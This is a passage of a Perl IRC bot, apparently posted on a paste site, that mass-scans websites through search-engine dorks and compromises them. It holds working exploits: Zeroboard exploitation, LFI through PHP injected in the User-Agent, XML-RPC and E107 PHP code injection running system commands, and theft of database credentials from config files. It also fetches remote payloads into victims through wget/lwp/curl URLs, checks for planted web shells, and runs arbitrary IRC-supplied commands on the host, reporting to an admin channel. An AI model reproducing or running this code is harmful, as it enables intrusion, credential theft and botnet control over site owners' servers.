  1330. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1331. $pass = $3;
  1332. }
  1333. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1334. $user = $3;
  1335. }
  1336. if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  1337. $dbs = $3;
  1338. }
  1339. }
  1340. return $user.":Viva-Byroe.Net:".$pass.":Viva-Byroe.Net:".$dbs;
  1341. }
  1342.  
  1343. sub zero_exploit() {
  1344. my $chan = $_[0];
  1345. my $bug = $_[1];
  1346. my $simpan = $_[2];
  1347. my $dork = $_[3];
  1348. my $engine = $_[4];
  1349. my $count = 0;
  1350. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo);
  1351. my $num = scalar(@totexploit);
  1352. if ($num > 0){
  1353. foreach my $site(@totexploit){
  1354. $count++;
  1355. if ($count == $num-1) { &msg("$chan","$zerologo $engine Finished for $dork "); }
  1356. my $coba = "http://".$site.$bug;
  1357. my $cek = &get_content($coba);sleep(1);
  1358. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1359. if ($cek =~ /Zeroboard/) { system("./zbc $coba 80");sleep(1);
  1360. my $vulner1 = "http://".$site.$action."?cmd=";
  1361. my $vulner2 = "http://".$site.$action.$wgetdon;
  1362. my $vulner3 = "http://".$site.$action.$lwpdon;
  1363. my $vulner4 = "http://".$site.$action.$curldon;
  1364. my $vuln1 = "http://".$site."/data/kekkaishi.php";
  1365. my $check2 = &get_content($vulner1);
  1366. if ($check2 =~ /Byroe Team/) {
  1367. if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); }
  1368. if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); }
  1369. if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); }
  1370. my $check1 = &get_content($vuln1);
  1371. if ($check1 =~ /stunshell/i) {
  1372. my $safe = ""; my $os = ""; my $uid = "";
  1373. if ($check1 =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1374. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1375. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1376. &msg("$admin","$zerologo $engine <=> sHeLL <=> ".$vuln1." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1377. &msg("$chan","$zerologo $engine <=> sHeLL <=> ".$vuln1." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1378. } else {
  1379. &msg("$chan","$zerologo $engine <=> Cek dewe $vulner1 ");
  1380. } sleep(2);
  1381. }
  1382. }
  1383. } exit; }
  1384. }
  1385. }
  1386. }
  1387.  
  1388. ##################################################################################
  1389.  
  1390. sub search_engine() {
  1391. my (@total,@clean);
  1392. my $chan = $_[0];
  1393. my $bug = $_[1];
  1394. my $dork = $_[2];
  1395. my $engine = $_[3];
  1396. my $logo = $_[4];
  1397. if ($gps == 1) {
  1398. if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }
  1399. if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }
  1400. if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }
  1401. if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }
  1402. if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }
  1403. if ($engine eq "JacKCA") { my @jackca = &jack1($dork."+site:ca"); push(@total,@jackca); }
  1404. if ($engine eq "JacKCL") { my @jackcl = &jack2($dork."+site:cl"); push(@total,@jackcl); }
  1405. if ($engine eq "JacKCN") { my @jackcn = &jack3($dork."+site:cn"); push(@total,@jackcn); }
  1406. if ($engine eq "JacKCoM") { my @jackcom = &jack4($dork."+site:com"); push(@total,@jackcom); }
  1407. if ($engine eq "JacKCZ") { my @jackcz = &jack5($dork."+site:cz"); push(@total,@jackcz); }
  1408. if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }
  1409. if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }
  1410. if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }
  1411. if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }
  1412. if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }
  1413. if ($engine eq "JacKHU") { my @jackhu = &jack1($dork."+site:hu"); push(@total,@jackhu); }
  1414. if ($engine eq "JacKID") { my @jackid = &jack2($dork."+site:id"); push(@total,@jackid); }
  1415. if ($engine eq "JacKIL") { my @jackil = &jack3($dork."+site:il"); push(@total,@jackil); }
  1416. if ($engine eq "JacKIN") { my @jackin = &jack4($dork."+site:in"); push(@total,@jackin); }
  1417. if ($engine eq "JacKInfO") { my @jackinfo = &jack5($dork."+site:info"); push(@total,@jackinfo); }
  1418. if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }
  1419. if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }
  1420. if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }
  1421. if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }
  1422. if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }
  1423. if ($engine eq "JacKMY") { my @jackmy = &jack1($dork."+site:my"); push(@total,@jackmy); }
  1424. if ($engine eq "JacKNeT") { my @jacknet = &jack2($dork."+site:net"); push(@total,@jacknet); }
  1425. if ($engine eq "JacKNL") { my @jacknl = &jack3($dork."+site:nl"); push(@total,@jacknl); }
  1426. if ($engine eq "JacKOrG") { my @jackorg = &jack4($dork."+site:org"); push(@total,@jackorg); }
  1427. if ($engine eq "JacKPH") { my @jackph = &jack5($dork."+site:ph"); push(@total,@jackph); }
  1428. if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }
  1429. if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }
  1430. if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }
  1431. if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }
  1432. if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }
  1433. if ($engine eq "JacKUK") { my @jackuk = &jack1($dork."+site:uk"); push(@total,@jackuk); }
  1434. if ($engine eq "JacKUS") { my @jackus = &jack2($dork."+site:us"); push(@total,@jackus); }
  1435. if ($engine eq "JacKSI") { my @jacksi = &jack3($dork."+site:si"); push(@total,@jacksi); }
  1436. if ($engine eq "JacKBE") { my @jackbe = &jack4($dork."+site:be"); push(@total,@jackbe); }
  1437. if ($engine eq "JacKBIZ") { my @jackbiz = &jack5($dork."+site:biz"); push(@total,@jackbiz); }
  1438. }
  1439. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1440. if ($gps2 == 1) {
  1441. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1442. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1443. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1444. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1445. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1446. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  1447. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1448. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1449. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1450. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1451. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1452. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1453. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  1454. }
  1455. @clean = &clean(@total);
  1456. if ($silentmode == 0) {
  1457. &msg("$chan","$logo $engine <=> Total: [".scalar(@total)."] Clean: [".scalar(@clean)."] "); }
  1458. return @clean;
  1459. }
  1460. ##################################################################################
  1461. sub isFound() {
  1462. my $status = 0;
  1463. my $link = $_[0];
  1464. my $reqexp = $_[1];
  1465. my $res = &get_content($link);
  1466. if ($res =~ /$reqexp/) { $status = 1 }
  1467. return $status;
  1468. }
  1469.  
  1470. sub get_content() {
  1471. my $url = $_[0];
  1472. my $ua = LWP::UserAgent->new(agent => $uagent);
  1473. $ua->timeout($timot);
  1474. my $req = HTTP::Request->new(GET => $url);
  1475. my $res = $ua->request($req);
  1476. return $res->content;
  1477. }
  1478. ######################################### SEARCH ENGINE
  1479.  
  1480. sub jack1() {
  1481. my @list;
  1482. my $key = $_[0];
  1483. for (my $i=0; $i<=1000; $i+=100){
  1484. my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  1485. my $res = &search_engine_query($search);
  1486. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1487. my $link = $1;
  1488. if ($link !~ /google/){
  1489. my @grep = &links($link);
  1490. push(@list,@grep);
  1491. }
  1492. }
  1493. }
  1494. return @list;
  1495. }
  1496.  
  1497. sub jack2() {
  1498. my @list;
  1499. my $key = $_[0];
  1500. for (my $i=0; $i<=1000; $i+=100){
  1501. my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  1502. my $res = &search_engine_query($search);
  1503. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1504. my $link = $1;
  1505. if ($link !~ /google/){
  1506. my @grep = &links($link);
  1507. push(@list,@grep);
  1508. }
  1509. }
  1510. }
  1511. return @list;
  1512. }
  1513.  
  1514. sub jack3() {
  1515. my @list;
  1516. my $key = $_[0];
  1517. for (my $i=0; $i<=1000; $i+=100){
  1518. my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  1519. my $res = &search_engine_query($search);
  1520. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1521. my $link = $1;
  1522. if ($link !~ /google/){
  1523. my @grep = &links($link);
  1524. push(@list,@grep);
  1525. }
  1526. }
  1527. }
  1528. return @list;
  1529. }
  1530.  
  1531. sub jack4() {
  1532. my @list;
  1533. my $key = $_[0];
  1534. for (my $i=0; $i<=1000; $i+=100){
  1535. my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  1536. my $res = &search_engine_query($search);
  1537. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1538. my $link = $1;
  1539. if ($link !~ /google/){
  1540. my @grep = &links($link);
  1541. push(@list,@grep);
  1542. }
  1543. }
  1544. }
  1545. return @list;
  1546. }
  1547.  
  1548. sub jack5() {
  1549. my @list;
  1550. my $key = $_[0];
  1551. for (my $i=0; $i<=1000; $i+=100){
  1552. my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  1553. my $res = &search_engine_query($search);
  1554. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1555. my $link = $1;
  1556. if ($link !~ /google/){
  1557. my @grep = &links($link);
  1558. push(@list,@grep);
  1559. }
  1560. }
  1561. }
  1562. return @list;
  1563. }
  1564.  
  1565. sub google() {
  1566. my @list;
  1567. my $key = $_[0];
  1568. for (my $i=0; $i<=1000; $i+=100){
  1569. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  1570. my $res = &search_engine_query($search);
  1571. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1572. my $link = $1;
  1573. if ($link !~ /google/){
  1574. my @grep = &links($link);
  1575. push(@list,@grep);
  1576. }
  1577. }
  1578. }
  1579. return @list;
  1580. }
  1581.  
  1582. sub walla() {
  1583. my @list;
  1584. my $key = $_[0];
  1585. for ($b=0; $b<=100; $b+=1) {
  1586. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1587. my $res = &search_engine_query($search);
  1588. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  1589. my $link = $1;
  1590. if ($link !~ /walla\.co\.il/){
  1591. my @grep = &links($link);
  1592. push(@list,@grep);
  1593. }
  1594. }
  1595. }
  1596. return @list;
  1597. }
  1598.  
  1599. sub yahoo(){
  1600. my @list;
  1601. my $key = $_[0];
  1602. for ($b=1; $b<=1000; $b+=10) {
  1603. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1604. my $res = &search_engine_query($search);
  1605. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1606. my $link = $1;
  1607. if ($link !~ /yahoo\.com/){
  1608. my @grep = &links($link);
  1609. push(@list,@grep);
  1610. }
  1611. }
  1612. }
  1613. return @list;
  1614. }
  1615.  
  1616. sub ask() {
  1617. my @list;
  1618. my $key = $_[0];
  1619. for (my $i=1; $i<=1000; $i+=100) {
  1620. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1621. my $res = &search_engine_query($search);
  1622. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  1623. my $link = $1;
  1624. if ($link !~ /ask\.com/){
  1625. my @grep = &links($link);
  1626. push(@list,@grep);
  1627. }
  1628. }
  1629. }
  1630. return @list;
  1631. }
  1632.  
  1633. sub onet() {
  1634. my @list;
  1635. my $key = $_[0];
  1636. my $b = 0;
  1637. for ($b=1; $b<=400; $b+=10) {
  1638. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1639. my $res = &search_engine_query($search);
  1640. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1641. my $link = $1;
  1642. if ($link !~ /onet|webcache|query/){
  1643. my @grep = &links($link);
  1644. push(@list,@grep);
  1645. }
  1646. }
  1647. }
  1648. return @list;
  1649. }
  1650.  
  1651. sub clusty() {
  1652. my @list;
  1653. my $key = $_[0];
  1654. my $b = 0;
  1655. for ($b=10; $b<=200; $b+=10) {
  1656. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1657. my $res = &search_engine_query($search);
  1658. if ($res !~ /next/) {$b=100;}
  1659. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1660. my $link = $1;
  1661. if ($1 !~ /yippy\.com/){
  1662. my @grep = &links($link);
  1663. push(@list,@grep);
  1664. }
  1665. }
  1666. }
  1667. return @list;
  1668. }
  1669.  
  1670. sub bing() {
  1671. my @list;
  1672. my $key = $_[0];
  1673. for (my $i=1; $i<=400; $i+=10) {
  1674. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1675. my $res = &search_engine_query($search);
  1676. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  1677. my $link = $1;
  1678. if ($link !~ /google/) {
  1679. my @grep = &links($link);
  1680. push(@list,@grep);
  1681. }
  1682. }
  1683. }
  1684. return @list;
  1685. }
  1686.  
  1687. sub sapo(){
  1688. my @list;
  1689. my $key = $_[0];
  1690. for ($b=1; $b<=50; $b+=1) {
  1691. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1692. my $res = &search_engine_query($search);
  1693. if ($res !~ m/Next/i) {$b=50;}
  1694. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1695. my $link = $1;
  1696. if ($1 !~ /\.sapo\.pt/){
  1697. my @grep = &links($link);
  1698. push(@list,@grep);
  1699. }
  1700. }
  1701. }
  1702. return @list;
  1703. }
  1704.  
  1705. sub lycos() {
  1706. my @list;
  1707. my $key = $_[0];
  1708. for ($b=0; $b<=50; $b+=1) {
  1709. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1710. my $res = &search_engine_query($search);
  1711. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  1712. my $link = $1;
  1713. if ($link !~ /lycos\.com/){
  1714. my @grep = &links($link);
  1715. push(@list,@grep);
  1716. }
  1717. }
  1718. }
  1719. return @list;
  1720. }
  1721.  
  1722. sub uol() {
  1723. my @list;
  1724. my $key = $_[0];
  1725. for ($b=0; $b<=1000; $b+=10) {
  1726. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1727. my $res = &search_engine_query($search);
  1728. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1729. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1730. my $link = $1;
  1731. if ($link !~ /uol\.com\.br|\/web/i){
  1732. my @grep = &links($link);
  1733. push(@list,@grep);
  1734. }
  1735. }
  1736. }
  1737. return @list;
  1738. }
  1739.  
  1740. sub seznam() {
  1741. my @list;
  1742. my $key = $_[0];
  1743. for ($b=1; $b<=300; $b+=20) {
  1744. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  1745. my $res = &search_engine_query($search);
  1746. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1747. my $link = $1;
  1748. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  1749. my @grep = &links($link);
  1750. push(@list,@grep);
  1751. }
  1752. }
  1753. }
  1754. return @list;
  1755. }
  1756.  
  1757. sub hotbot() {
  1758. my @list;
  1759. my $key = $_[0];
  1760. for ($b=0; $b<=50; $b+=1) {
  1761. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1762. my $res = &search_engine_query($search);
  1763. if ($res =~ m/had no web result/i) {$b=50;}
  1764. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  1765. my $link = $1;
  1766. if ($link !~ /hotbot\.com/){
  1767. my @grep = &links($link);
  1768. push(@list,@grep);
  1769. }
  1770. }
  1771. }
  1772. return @list;
  1773. }
  1774.  
  1775. sub aol() {
  1776. my @list;
  1777. my $key = $_[0];
  1778. for ($b=0; $b<=300; $b+=10) {
  1779. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1780. my $res = &search_engine_query($search);
  1781. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1782. my $link = $1;
  1783. if ($link !~ /aol\.com/){
  1784. my @grep = &links($link);
  1785. push(@list,@grep);
  1786. }
  1787. }
  1788. }
  1789. return @list;
  1790. }
  1791.  
  1792. sub biglobe {
  1793. my $key = $_[0];
  1794. my @list;
  1795. for ($b=1; $b<=500; $b+=10) {
  1796. $num += $num;
  1797. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1798. my $res = &search_engine_query($search);
  1799. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1800. my $link = $1;
  1801. if ($link !~ /biglobe/){
  1802. my @grep = &links($link);
  1803. push(@list,@grep);
  1804. }
  1805. }
  1806. }
  1807. return @list;
  1808. }
  1809.  
  1810. #########################################
  1811.  
  1812. sub clean() {
  1813. my @cln = ();
  1814. my %visit = ();
  1815. foreach my $element (@_) {
  1816. $element =~ s/\/+/\//g;
  1817. next if $visit{$element}++;
  1818. push @cln, $element;
  1819. }
  1820. return @cln;
  1821. }
  1822.  
  1823. sub links() {
  1824. my @list;
  1825. my $link = $_[0];
  1826. my $host = $_[0];
  1827. my $hdir = $_[0];
  1828. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1829. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1830. $host .= "/";
  1831. $link .= "/";
  1832. $hdir .= "/";
  1833. $host =~ s/\/\//\//g;
  1834. $hdir =~ s/\/\//\//g;
  1835. $link =~ s/\/\//\//g;
  1836. push(@list,$link,$host,$hdir);
  1837. return @list;
  1838. }
  1839.  
  1840. sub search_engine_query() {
  1841. my $url = $_[0];
  1842. $url =~ s/http:\/\///;
  1843. my $host = $url;
  1844. my $query = $url;
  1845. my $page = "";
  1846. $host =~ s/href=\"?http:\/\///;
  1847. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1848. $query =~ s/$host//;
  1849. if ($query eq "") { $query = "/"; }
  1850. eval {
  1851. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1852. my $sget = "GET $query HTTP/1.0\r\n";
  1853. $sget .= "Host: $host\r\n";
  1854. $sget .= "Accept: */*\r\n";
  1855. $sget .= "User-Agent: $uagent\r\n";
  1856. $sget .= "Connetion: Close\r\n\r\n";
  1857. print $sock $sget;
  1858. my @pages = <$sock>;
  1859. $page = "@pages";
  1860. close($sock);
  1861. };
  1862. return $page;
  1863. }
  1864.  
  1865. #########################################
  1866.  
  1867. sub shell() {
  1868. my $path = $_[0];
  1869. my $cmd = $_[1];
  1870. if ($cmd =~ /cd (.*)/) {
  1871. chdir("$1") || &msg("$path","No such file or directory");
  1872. return;
  1873. }
  1874. elsif ($pid = fork) { waitpid($pid, 0); }
  1875. else { if (fork) { exit; } else {
  1876. my @output = `$cmd 2>&1 3>&1`;
  1877. my $c = 0;
  1878. foreach my $output (@output) {
  1879. $c++;
  1880. chop $output;
  1881. &msg("$path","$output");
  1882. if ($c == 5) { $c = 0; sleep 3; }
  1883. }
  1884. exit;
  1885. }}
  1886. }
  1887.  
  1888. sub isAdmin() {
  1889. my $status = 0;
  1890. my $nick = $_[0];
  1891. if ($nick eq $admin) { $status = 1; }
  1892. return $status;
  1893. }
  1894.  
  1895. sub msg() {
  1896. return unless $#_ == 1;
  1897. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1898. }
  1899.  
  1900. sub nick() {
  1901. return unless $#_ == 0;
  1902. sendraw("NICK $_[0]");
  1903. }
  1904. sub notice() {
  1905. return unless $#_ == 1;
  1906. sendraw("NOTICE $_[0] :$_[1]");
  1907. }
  1908.  
  1909. sub cmdlfi() {
  1910. my $browser = LWP::UserAgent->new;
  1911. my $url = $_[0];
  1912. my $cmd = $_[1];
  1913. my $chan = $_[2];
  1914. my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
  1915. $browser->agent("$hie");
  1916. $browser->timeout(7);
  1917. $response = $browser->get( $url );
  1918. if ($response->content =~ /lobex(.*)byroe/s) {
  1919. &msg("$chan","$lfilogo ".$1." ");
  1920. } else {
  1921. &msg("$chan","$lfilogo No Output ");
  1922. }
  1923. }
  1924.  
  1925. sub cmdxml() {
  1926. my $jed = $_[0];
  1927. my $dwa = $_[1];
  1928. my $chan = $_[2];
  1929. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1930. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1931. $exploit .= "<methodName>test.method</methodName>";
  1932. $exploit .= "<params><param><value><name>',''));";
  1933. $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  1934. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  1935. if ($response->content =~ /bamby(.*)solo/s) {
  1936. &msg("$chan","$xmllogo $1 ");
  1937. } else {
  1938. &msg("$chan","$xmllogo No Output ");
  1939. }
  1940. }
  1941.  
  1942. sub cmde107() {
  1943. my $path = $_[0];
  1944. my $code = $_[1];
  1945. my $chan = $_[2];
  1946. my $codecmd = encode_base64($code);
  1947. my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
  1948. my $req = HTTP::Request->new(POST => $path);
  1949. $req->content_type('application/x-www-form-urlencoded');
  1950. $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
  1951. my $ua = LWP::UserAgent->new(agent => $uagent);
  1952. $ua->timeout(7);
  1953. my $res = $ua->request($req);
  1954. my $data = $res->as_string;
  1955. if ( $data =~ /ByroeNet(.*)/ ){
  1956. $mydata = $1;
  1957. &msg("$chan","(E107) $mydata ");
  1958. }
  1959. else { &msg("$chan","(E107) No Output "); }
Add Comment
Please, Sign In to add comment